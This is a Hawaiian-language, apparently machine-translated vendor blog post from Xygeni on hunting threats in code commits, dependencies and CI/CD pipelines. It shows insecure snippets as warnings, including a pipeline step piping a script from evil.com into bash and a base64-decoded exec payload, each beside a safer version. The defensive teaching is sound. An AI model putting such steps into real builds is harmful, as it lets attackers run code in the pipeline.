ka hahai ʻana i nā hoʻoweliweli pūnaewele - ka hahai ʻana i nā hoʻoweliweli

Ka ʻimi ʻana i nā hoʻoweliweli me ke code: Pehea e hahai ai i nā ʻano hana ʻino ma Repos

Ke hoʻololi nei i ka ʻimi ʻana i ka hoʻoweliweli ma ka hema: Mai nā Pūnaewele a i nā Waihona Kumu

Ua hoʻomaka ka ʻimi hoʻoweliweli kuʻuna i nā pūnaewele a me nā log endpoint. Akā i ka hoʻomohala hou ʻana, hele pinepine ka logic ʻino i loko o nā waihona a me nā ʻōnaehana hana-e like me ke code. Ma ka neʻe ʻana i ka ʻimi hoʻoweliweli cyber i ka hema, ʻike nā hui i nā hoʻoweliweli ma kahi e pae mua ai nā mea hoʻouka: ma ke code commita me pipeline wehewehe. ʻAʻole kali ka mea hahai hoʻoweliweli akamai i nā leka hoʻomaopopo hana. Akā, kālailai lākou pull requests a me nā hoʻololi hoʻonohonoho, e nīnau ana: Ua palekana anei kēia loina, ua manaʻo ʻia, a ua hōʻoia ʻia?

la'ana:

// Insecure: sensitive cookies exposed console.log("Session cookie:", document.cookie);   // Safer approach res.cookie("sessionId", token, {   httpOnly: true,   secure: true,   sameSite: "Strict" }); 

Ke hopu nei i nā ʻano palekana ʻole ma commit ʻo ka manawa kahi hana nui o ka hahai holoholona ʻana i nā hoʻoweliweli pūnaewele.

Ke ʻike ʻana i nā ʻano hana ʻino i ke code a me Commits

I ka wā e hoʻopili ai i ka ʻimi hoʻoweliweli i loko o nā codebases, e nānā ma ʻō aku standard nā nāwaliwali. ʻIno commitLoaʻa iā lākou nā manamana lima like ʻole:

la'ana:

# Suspicious commit payload = "YmFkX3N0dWZm"  # Looks like harmless data exec(base64.b64decode(payload))    

I kēia manawa:

# Safer # Explicit imports and trusted libraries only 

Ke nānā nei kahi mea hahai hoʻoweliweli i nā diffs no ka manaʻo: he hoʻoponopono hewa kēia, a he hoʻāʻo paha e hoʻokomo malu i ka polokalamu ʻino?

Ke ʻike ʻana i nā hilinaʻi i hoʻopilikia ʻia a me nā hoʻouka kaua kaulahao lako

He lua gula nā mea hilinaʻi no nā mea hoʻouka. Ke ʻimi nei i nā hoʻoweliweli ma nā hōʻike e like me pakete.json or koi.txt pale i nā pilikia o ke kaulahao lako.

Nā ala hoʻouka maʻamau:

la'ana:

// Insecure dependency "dependencies": {   "reqeusts": "1.0.0" } 

ʻO ke kaʻina hana hahai hoʻoweliweli pūnaewele e pili ana i ka nānā ʻana i nā kumulāʻau hilinaʻi, ka hōʻoia ʻana i nā kumu, a me ka holo ʻana i nā nānā pono. Pono kēlā me kēia hahai hoʻoweliweli e mālama i nā hilinaʻi i hōʻoia ʻole ʻia e like me ka mea kānalua.

Huli i loko CI/CD Pipelines: ʻO ka Logic Kūkulu Malicious a me nā Backdoors

Aloha nā mea hoʻouka CI/CD no ka mea, hoʻopilikia kahi ʻanuʻu make hoʻokahi i kēlā me kēia kūkulu ʻana. Ke hahai holoholona nei i nā mea hoʻoweliweli pipelineʻO ke ʻano o s ka nānā ʻana i nā palapala e like me nā code ʻē aʻe.

Nā hōʻailona o ke kuʻikahi:

  • Nā palapala i kiʻi ʻia mai nā URL i hilinaʻi ʻole ʻia (ʻōwili | bash).
  • Hoʻokō pololei ʻia nā binaries i kau inoa ʻole ʻia.
  • Pipeline nā pae e hoʻokuʻu ana i nā mea huna.
  • Inline bash me ka palekana ʻole loiloi.

la'ana:

# Insecure pipeline steps:   - run: curl http://evil.com/build.sh | bash  

Koho ʻē aʻe palekana:

# Secure pipeline steps:   - run: ./scripts/build.sh  # Controlled and versioned   

poe ola, CI/CD Papa Inoa no ka Huli ʻana i nā Hoʻoweliweli

  • ʻAʻohe palapala mamao mai nā URL i ʻike ʻole ʻia
  • E hōʻoia i nā checksums a me nā pūlima o nā faila waho
  • E kaupalena i ka hoʻohana ʻana o loiloi a i ʻole nā ​​kauoha pūpū ikaika
  • E mālama i nā mea huna i loko o kahi waihona, ʻaʻole i nā faila YAML
  • E nānā pinepine i nā wahi i loaʻa ai nā mea hana lima

No nā mea hoʻomohala, hōʻoia kēia papa inoa pipelineʻAʻole e lilo i mau puka hope mālie. ʻO ka hahai ʻana i nā hoʻoweliweli pūnaewele ma aneʻi ke ʻano o ka mālama ʻana CI/CD e like me ke code hana, ua nānā ʻia kēlā me kēia kauoha.

Hoʻokomo i ka ʻimi hoʻoweliweli i loko o nā kahe hana DevSecOps

I mea e hoʻomau ai ka hahai ʻana i nā hoʻoweliweli, pono e hoʻohui ʻia i loko o nā kahe hana DevSecOps o kēlā me kēia lā:

  • Nā mīkini nānā ʻakomi hopu i nā mea huna, nā blobs, a me nā ʻano palekana ʻole.
  • ʻIkepili paʻa hōʻailona i nā kāhea API weliweli a me ka obfuscation.
  • Loiloi code palekana in pull requests ʻaʻole wale ia he loiloi hana.
  • Nā loiloi i kālele ʻia ma nā repos koʻikoʻi (ʻae ʻia, uku, infra).

ʻO kēia ʻano hana e hoʻolilo i kēlā me kēia mea hoʻomohala i mea hahai hoʻoweliweli, me ka hoʻolohi ʻole i ka lawe ʻana. Ke lilo ka hahai ʻana i nā hoʻoweliweli pūnaewele i mea maʻamau, ʻaʻole nui nā wahi e peʻe ai ke code ʻino.

Ke hoʻololi nei i nā mea hoʻomohala i nā mea hahai hoʻoweliweli

ʻAʻole ka hahai ʻana i nā hoʻoweliweli i loko o ke code he hana palekanacisua mālama ʻia no nā hui ʻulaʻula; he mākaukau hoʻomohala ia. ʻO kēlā me kēia mea kānalua commit, hilinaʻi ʻē, a i ʻole pipeline hiki i ka tweak ke hoʻomaka i kahi komo hewa. Ma ka hoʻokuke ʻana i ka ʻimi hoʻoweliweli cyber i ka hema, i loko o nā waihona a me CI/CD nā wehewehena, ʻike nā hui i kēia mau neʻe ma kahi e hana mua ai.

No nā mea hoʻomohala, ʻo ia hoʻi ke ʻano o ka hoʻololi ʻana i ka manaʻo: mai ʻimi wale i nā hewa, e ʻimi i ka manaʻo. ʻO ia kēlā Pākuʻi64 ʻōpū i loko o kahi commit, ka pūʻolo i paʻi ʻia i loko pakete.json, Ai ole ia o ka pipeline ʻanuʻu e huki ana i kahi palapala mai kahi kikowaena ʻike ʻole ʻia, ʻaʻole ia he mau ulia pōpilikia ʻino; he mau vectors hoʻouka kaua paha lākou. ʻO ka noʻonoʻo hahai hoʻoweliweli ikaika i loko o nā hui ʻenekinia e hōʻemi ana i ka manawa kūpono o ka mea hoʻouka e komo me ka ʻike ʻole ʻia.

ʻO nā mea pono e lawe ʻia me ka nānā ʻana i nā mea maʻamau ʻole commit nā ʻano hoʻohālike, e hōʻoia ana i nā hilinaʻi e kūʻē i nā kumu hilinaʻi, a me ka hoʻopaʻa ʻana pipelinee kūʻē i nā palapala palekana ʻole a i ʻole nā ​​​​hoʻouka artifact. Kōkua ka automation me ka scan a me nā nānā static, akā ʻaʻohe mea e pani i kahi loiloi mea hoʻomohala ʻoi e nīnau ana: no ke aha kēia ma ʻaneʻi, a no ke aha ia?

ʻO kēia kahi e makemake ai nā mea hana ʻO Xygeni e pāʻani i kahi kuleana koʻikoʻi, e hoʻonui ana i ka ʻike o ka mea hoʻomohala ma o ka nānā mau ʻana i ke code, nā hilinaʻi, a pipelineno nā pūʻolo i hoʻopilikia ʻia, nā mea huna i hōʻike ʻia, a i ʻole nā ​​puka hope i hūnā ʻia. ʻAʻole lākou e pani i ka ʻimi ʻana i nā hoʻoweliweli cyber kanaka, akā hāʻawi lākou i nā mea hoʻomohala i ka ʻike maikaʻi aʻe e ʻike i nā pilikia i ka wā mua.

I ka hopena, ʻo ka lawe ʻana mai i ka ʻimi hoʻoweliweli i nā kahe hana coding o kēlā me kēia lā, ʻo ia hoʻi ka emi ʻana o nā mea kupanaha i ka hana ʻana a me kahi pōʻaiapuni ola palekana no nā mea āpau e kūkulu ana a mālama i nā polokalamu. ʻAʻole wale nā ​​​​mea hoʻomohala e kākau ana i ke code; ʻo lākou ka laina mua o ka pale.

nā mea hana-sca-tools-software-analysis-composition
E hoʻonohonoho i ka mea nui, hoʻoponopono, a hoʻopaʻa i kāu mau pilikia polokalamu
E kiʻi i kāu moʻokāki manuahi.
ʻAʻole koi ʻia kahi kāleka hōʻaiʻē.

E hoʻopaʻa i kāu Hoʻomohala Polokalamu a me ka Hoʻouna ʻana

me ka Xygeni Product Suite